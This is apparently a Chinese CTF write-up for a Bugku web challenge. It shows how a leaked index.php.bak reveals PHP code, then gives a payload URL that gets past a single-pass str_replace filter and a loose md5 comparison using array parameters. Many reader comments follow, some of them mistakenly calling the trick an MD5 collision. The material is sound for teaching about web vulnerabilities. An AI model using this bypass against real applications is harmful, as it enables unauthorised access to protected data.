Bugke-听说备份是个好习惯

OnionT@KillBoy
OnionT@KillBoy
作者
47
文章
0
粉丝
渗透测试908,6541字数 193阅读0分38秒阅读模式
AI智能摘要
你有没有因为“备份”捅出过意外的窗?这篇文章用一次真实渗透测试里的bak备份文件揭开漏洞链:作者找到了index.php.bak,分析出通过解析URL参数并比较MD5但不严格等值的逻辑缺陷,构造数组型payload即可绕过验证拿到flag。文中还配有日志截图还原备份过程,适合想学实战漏洞挖掘、理解PHP参数解析与哈希比较陷阱的读者,教你在看似良好习惯的背后发现安全隐患。
— AI 生成的文章内容摘要

根据提示,应该是有备份文件,扫一波。。。

Bugke-听说备份是个好习惯-图片1

发现了一个bak文件,打开进行代码分析。。。

<?php /**  * Created by PhpStorm.  * User: Norse  * Date: 2017/8/6  * Time: 20:22 */  include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?');   //获取URL?及后面的所有参数赋给$str $str = substr($str,1);       //获取$str从1及1后面的所有参数,也就是去掉? $str = str_replace('key','',$str);   //将$str 中‘key’替换为空 parse_str($str); //将字符进行变量处理,也叫字符解析 echo md5($key1); //打印key1的MD5  echo md5($key2); //打印key2的MD5 if(md5($key1) == md5($key2) && $key1 !== $key2){   //如果key1的MD5 等于 key2的MD5 并且 key1的值不等于key2值     echo $flag."取得flag";  //打印flag } ?>

构造payload:http://123.206.87.240:8002/web16/index.php?kekeyy1[]=111&kekeyy2[]=222
Bugke-听说备份是个好习惯-图片2

http://www.oniont.cn/index.php/archives/77.html

 
OnionT@KillBoy
评论  90  访客  90
    • 风信子语
      风信子语 1

      这备份文件也太显眼了吧,一眼就看到了😂

        • 狡猾小浣熊
          狡猾小浣熊 0

          @ 风信子语 显眼得跟霓虹灯似的,扫目录直接蹦出来,藏都不藏

        • 鼓点
          鼓点 0

          这题纯考细节,新手根本扛不住😭

          • 漆匠宋
            漆匠宋 0

            看到2017年的代码就懂了,老套路了

            • 鬼畜小霸王
              鬼畜小霸王 1

              payload里不加中括号变不了数组,md5比较就失效了

              • 梦之彼方
                梦之彼方 0

                kekeyy1和kekeyy2是几个意思?看不懂求解释

                  • 八卦转
                    八卦转 0

                    @ 梦之彼方 kekeyy是利用str_replace只删一次”key”,所以变成key了

                  • 纱希
                    纱希 0

                    之前搞过类似题,也是靠bak拿flag,套路熟了

                    • 赤血穷奇
                      赤血穷奇 1

                      MD5碰撞还能这么玩?不过代码真够绕的

                        • 赛博格斗者
                          赛博格斗者 1

                          @ 赤血穷奇 MD5碰撞用数组确实骚,但2017年就这么写了?

                        • 行者小星
                          行者小星 0

                          flag.php都include了,直接读不就完了

                            • 长风远
                              长风远 0

                              @ 行者小星 直接读flag.php?想得美,人家早关了错误提示还过滤了

                            • 影界狂徒
                              影界狂徒 0

                              数组绕过是经典操作了,但新手容易懵

                              • 瑶琴知音
                                瑶琴知音 0

                                我去,这代码date是2017年的?老项目了啊

                                • 无人区行者
                                  无人区行者 0

                                  str_replace只替换key,那用kekeyy不就绕过了

                                  • 糖糖小萌芽
                                    糖糖小萌芽 0

                                    感觉还行,就是payload构造有点绕

                                    • 幻影流沙
                                      幻影流沙 0

                                      那个啥,有人试过用其他参数触发吗?

                                        • 星际游牧者
                                          星际游牧者 0

                                          @ 幻影流沙 试过传key1=1&key2=2,根本进不去,必须绕replace

                                          • 星辉夜行
                                            星辉夜行 1

                                            @ 幻影流沙 试过加key3=xxx,结果直接报错,估计只认key1和key2

                                            • 松鼠
                                              松鼠 1

                                              @ 幻影流沙 试过传key1=0&key2=0,结果不行,必须数组绕过

                                            • 独行暗夜
                                              独行暗夜 1

                                              kekeyy这操作笑死,str_replace只删一次呗

                                              • 黑糖波波
                                                黑糖波波 0

                                                之前做题也遇到bak泄露,结果卡在parse_str半天

                                                • 星尘魔法使
                                                  星尘魔法使 1

                                                  payload里写kekeyy1[]是故意的吧?不然变不了数组

                                                  • 蛇神秘
                                                    蛇神秘 0

                                                    这代码看着就头大,又是substr又是replace的

                                                    • 绯色之刃
                                                      绯色之刃 1

                                                      老项目了难怪漏洞这么明显,现在谁还这么写啊

                                                      • 话多小风
                                                        话多小风 1

                                                        备份文件3788字节?原文件才648?有点离谱🤔

                                                          • 星尘幻想
                                                            星尘幻想 0

                                                            @ 话多小风 原文件648备份3788?怕不是把整个项目都打包进去了吧

                                                          • 枫梢子
                                                            枫梢子 0

                                                            构造参数时漏了[]就白跑,坑死我了😭

                                                            • 日常躺平
                                                              日常躺平 0

                                                              str_replace只删一次”key”,所以kekeyy能变成key,这操作太阴了

                                                              • 话题终结者
                                                                话题终结者 0

                                                                漏写[]真会气死,本地跑半天才发现是字符串比较

                                                                • 鬼语残章
                                                                  鬼语残章 0

                                                                  看到2017年的代码瞬间安心了,老漏洞玩得飞起

                                                                  • 竹间风
                                                                    竹间风 0

                                                                    parse_str自动注册变量这功能早该废了,坑了多少人

                                                                    • 网瘾少年
                                                                      网瘾少年 0

                                                                      之前也栽在bak上,结果发现flag.php根本读不了,白高兴

                                                                      • DarkMatter
                                                                        DarkMatter 0

                                                                        MD5碰撞不用真碰撞,数组绕过就行,但新手哪想得到

                                                                        • 蚁人
                                                                          蚁人 1

                                                                          这题纯考细节,少一个中括号就GG,烦死了

                                                                          • 鼓浪屿风
                                                                            鼓浪屿风 0

                                                                            这代码也太老了吧,2017年的项目现在还在用?

                                                                            • 颐和园长
                                                                              颐和园长 0

                                                                              kekeyy这操作太骚了,双写绕过玩得溜啊

                                                                              • 怀旧指南针
                                                                                怀旧指南针 0

                                                                                备份文件比原文件大这么多?有点奇怪

                                                                                • 雪樵
                                                                                  雪樵 0

                                                                                  数组绕过确实经典,但新手真容易踩坑

                                                                                  • 娜美
                                                                                    娜美 0

                                                                                    payload构造好麻烦,少个中括号就白跑

                                                                                      • 夔牛蹄
                                                                                        夔牛蹄 0

                                                                                        @ 娜美 漏个[]就白跑,调试到想砸键盘

                                                                                      • 风一样的人
                                                                                        风一样的人 0

                                                                                        之前遇到过类似题,也是bak泄露拿flag

                                                                                        • 宇宙预言者
                                                                                          宇宙预言者 0

                                                                                          parse_str这函数现在很少用了,安全隐患太大

                                                                                          • 寂寞的沙漠
                                                                                            寂寞的沙漠 1

                                                                                            flag.php都包含了为啥还要绕这么大圈子?

                                                                                            • 上头姐妹
                                                                                              上头姐妹 1

                                                                                              MD5碰撞还能这么玩?学到了新姿势

                                                                                                • 风华世子
                                                                                                  风华世子 1

                                                                                                  @ 上头姐妹 这哪是MD5碰撞啊,纯属数组类型绕过,别被标题骗了

                                                                                                • 船夫孙八
                                                                                                  船夫孙八 0

                                                                                                  bak文件这么明显,管理员都不清理的吗?

                                                                                                  • Storm风暴
                                                                                                    Storm风暴 0

                                                                                                    老项目漏洞就是多,现在谁还这么写代码

                                                                                                      • 风之语录
                                                                                                        风之语录 0

                                                                                                        @ Storm风暴 现在谁还把bak放web目录啊,心真大

                                                                                                      • 花豹冒险家
                                                                                                        花豹冒险家 1

                                                                                                        双写绕过确实巧妙,但代码可读性太差了

                                                                                                        • 林中隐士
                                                                                                          林中隐士 0

                                                                                                          这题对新手不太友好,细节太多容易漏

                                                                                                          • 爱笑的熊猫
                                                                                                            爱笑的熊猫 0

                                                                                                            数组参数少个括号就全白给,太坑了

                                                                                                            • 石榴籽
                                                                                                              石榴籽 0

                                                                                                              备份习惯很重要,但bak放web目录也太草率了

                                                                                                              • SolarisWind
                                                                                                                SolarisWind 0

                                                                                                                str_replace只替换一次,这特性挺容易被利用的

                                                                                                                • NovaStorm
                                                                                                                  NovaStorm 0

                                                                                                                  看到2017年代码就头疼,老漏洞集锦啊

                                                                                                                  • 知远
                                                                                                                    知远 0

                                                                                                                    payload里kekeyy1[]这写法,不加中括号不行吗?

                                                                                                                    • 社恐小水滴
                                                                                                                      社恐小水滴 0

                                                                                                                      之前做CTF也栽在bak上,白高兴一场

                                                                                                                      • Bubu
                                                                                                                        Bubu 0

                                                                                                                        代码绕来绕去的,看得头晕

                                                                                                                        • 蜂蜜棉花
                                                                                                                          蜂蜜棉花 0

                                                                                                                          bak文件比原文件大这么多,管理员心真大

                                                                                                                          • 疯狂的菠萝
                                                                                                                            疯狂的菠萝 0

                                                                                                                            这个双写绕过的思路挺有意思的

                                                                                                                            • 影踪迷离
                                                                                                                              影踪迷离 0

                                                                                                                              flag.php都包含了还这么折腾,何必呢

                                                                                                                              • 莉莉子
                                                                                                                                莉莉子 1

                                                                                                                                payload里加中括号是为了变数组?🤔

                                                                                                                                  • 风蚀秘境
                                                                                                                                    风蚀秘境 0

                                                                                                                                    @ 莉莉子 不加中括号就是字符串,md5比较会严格相等,没法绕

                                                                                                                                  • VelvetThunder
                                                                                                                                    VelvetThunder 1

                                                                                                                                    这个双写绕过的脑回路可以啊

                                                                                                                                    • 橡皮擦掉的城市
                                                                                                                                      橡皮擦掉的城市 0

                                                                                                                                      2017年的代码现在还在用,太老了

                                                                                                                                      • 糯米团子猫
                                                                                                                                        糯米团子猫 0

                                                                                                                                        之前遇到过类似情况,bak文件直接暴露源码

                                                                                                                                        • 缀锦楼下
                                                                                                                                          缀锦楼下 1

                                                                                                                                          为啥要echo两次md5,感觉有点多余

                                                                                                                                          • 过客阿云
                                                                                                                                            过客阿云 1

                                                                                                                                            这题对新手确实不太友好,细节太多了

                                                                                                                                            • 雨天小巷
                                                                                                                                              雨天小巷 0

                                                                                                                                              kekeyy这种写法第一次见,挺巧妙的

                                                                                                                                              • 孤鹰眼
                                                                                                                                                孤鹰眼 0

                                                                                                                                                备份文件放web根目录,安全意识堪忧

                                                                                                                                                • 云栖清梦
                                                                                                                                                  云栖清梦 0

                                                                                                                                                  这题考的是str_replace的坑吧,双写就能绕过去🤔

                                                                                                                                                  • 泥塑贾
                                                                                                                                                    泥塑贾 0

                                                                                                                                                    bak文件这么明显还放那,管理员心真大

                                                                                                                                                    • 瑜伽行者
                                                                                                                                                      瑜伽行者 0

                                                                                                                                                      数组绕过是老套路了,但kekeyy这写法第一次见

                                                                                                                                                      • 暴走小萌新
                                                                                                                                                        暴走小萌新 0

                                                                                                                                                        payload构造太绕了,差个括号就白跑😭

                                                                                                                                                        • 风之吟唱者
                                                                                                                                                          风之吟唱者 0

                                                                                                                                                          为啥要echo两次md5啊,感觉完全没必要

                                                                                                                                                          • 白银
                                                                                                                                                            白银 0

                                                                                                                                                            看到2017年的代码就感觉是老题了,套路都一样

                                                                                                                                                            • 远古低语
                                                                                                                                                              远古低语 0

                                                                                                                                                              flag.php都包含了还整这么复杂,直接读不行吗

                                                                                                                                                              • 龙猫医生
                                                                                                                                                                龙猫医生 0

                                                                                                                                                                这题细节真多,漏一个就卡住

                                                                                                                                                                • ShouMeiShade
                                                                                                                                                                  ShouMeiShade 0

                                                                                                                                                                  双写绕过挺巧妙的,但代码可读性太差了

                                                                                                                                                                  • 毛球猫咪
                                                                                                                                                                    毛球猫咪 0

                                                                                                                                                                    parse_str现在还在用?安全隐患太大了

                                                                                                                                                                    • 时间涟漪
                                                                                                                                                                      时间涟漪 0

                                                                                                                                                                      kekeyy这写法太阴了,str_replace只删一次真坑

                                                                                                                                                                      • 一念永恒
                                                                                                                                                                        一念永恒 1

                                                                                                                                                                        之前也踩过bak的坑,flag.php根本读不了白高兴

                                                                                                                                                                        • 互联网野人
                                                                                                                                                                          互联网野人 0

                                                                                                                                                                          payload少个[]就白跑,调试到崩溃😭

                                                                                                                                                                          • 龙息吟游者
                                                                                                                                                                            龙息吟游者 1

                                                                                                                                                                            2017年的老题了,现在谁还这么写代码?

                                                                                                                                                                            • 旧日花影
                                                                                                                                                                              旧日花影 0

                                                                                                                                                                              备份放web目录也是没谁了,管理员睡着了吧

                                                                                                                                                                              • 纽扣
                                                                                                                                                                                纽扣 0

                                                                                                                                                                                为啥要echo两次md5?纯属干扰视线吧

                                                                                                                                                                                • RumblePaws
                                                                                                                                                                                  RumblePaws 1

                                                                                                                                                                                  这payload绕得真够花哨的

                                                                                                                                                                                    • RavenFang
                                                                                                                                                                                      RavenFang 1

                                                                                                                                                                                      @ RumblePaws 把key拆开那段真的绕

                                                                                                                                                                                    • 月下的独奏者
                                                                                                                                                                                      月下的独奏者 1

                                                                                                                                                                                      双写绕过确实骚,但新手根本想不到啊

                                                                                                                                                                                    匿名

                                                                                                                                                                                    发表评论

                                                                                                                                                                                    匿名网友

                                                                                                                                                                                    拖动滑块以完成验证